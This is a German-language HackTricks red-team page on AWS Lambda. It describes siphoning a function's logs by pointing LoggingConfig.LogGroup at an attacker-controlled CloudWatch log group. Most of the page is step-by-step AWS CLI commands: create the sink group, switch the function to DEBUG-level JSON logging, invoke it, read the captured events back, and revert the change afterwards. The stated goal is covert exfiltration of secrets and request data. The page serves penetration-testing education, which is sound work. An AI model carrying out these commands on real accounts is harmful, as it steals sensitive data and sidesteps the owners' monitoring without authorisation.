AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Missbrauche die erweiterten Logging-Steuerungen lambda:UpdateFunctionConfiguration, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs Loggruppe umzuleiten. Das funktioniert ohne Änderung des Codes oder der Ausführungsrolle (die meisten Lambda-Rollen beinhalten bereits logs:CreateLogGroup/CreateLogStream/PutLogEvents über AWSLambdaBasicExecutionRole). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Loggruppe sammeln.

Erforderliche Berechtigungen

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (oder verlasse dich auf vorhandene Trigger)
  • logs:CreateLogGroup (oft nicht erforderlich, wenn die Funktionsrolle es hat)
  • logs:FilterLogEvents (zum Lesen der Events)

Schritte

  1. Erstelle eine Ziel-Loggruppe
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Leite die Logs der Ziel-Funktion um
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Warten Sie, bis LastUpdateStatus den Wert Successful annimmt:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Sink aufrufen und daraus lesen
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Auswirkung

  • Heimlich alle Anwendungs-/System-Logs in eine von dir kontrollierte Log-Gruppe umleiten und damit die Erwartung umgehen, dass Logs nur in /aws/lambda/<fn> landen.
  • Sensible Daten exfiltrieren, die von der Funktion ausgegeben oder in Fehlermeldungen sichtbar werden.

Bereinigung

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Hinweise

  • Logging controls sind Teil von Lambda’s LoggingConfig (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Standardmäßig sendet Lambda Logs an /aws/lambda/<function>, aber Sie können auf jeden LogGroup-Namen zeigen; Lambda (oder die execution role) erstellt diesen, wenn es erlaubt ist.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks